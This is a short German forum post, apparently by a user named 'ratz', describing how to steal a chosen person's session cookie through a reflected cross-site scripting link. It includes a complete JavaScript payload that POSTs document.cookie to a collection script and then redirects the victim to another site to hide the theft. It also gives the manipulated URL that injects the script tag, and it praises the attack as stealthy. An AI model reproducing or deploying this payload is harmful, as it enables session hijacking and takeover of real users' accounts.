Naja, wenn ich einer bestimmten Person den Sessioncookie stehlen wollte, würde ich ihr einen manipulierten Link schicken:
Hier würde mein Script liegen:
http://localhost/script.js
Der Inhalt des Scripts:
function createXMLHttpObj(){
if(window.XMLHttpRequest){ return new XMLHttpRequest(); }
return new ActiveXObject("Microsoft.XMLHTTP");
}
function sendRequest(method, url, async, data){
xmlhttp = createXMLHttpObj();
if(!xmlhttp){ return; }
xmlhttp.open(method, url, async);
if(method == "POST"){ xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;'); }
xmlhttp.send(data);
if(!async){ return xmlhttp.responseText; }
}
sendRequest("POST", "http://localhost/x.php", true, document.cookie);
document.location = "http://zwinky.com";
Manipulierter Link:
http://zwinky..."><script src=http://localhost/script.js></script>
Fertig. Ist eben NICHT persistent und daher sehr stealthy
- ratz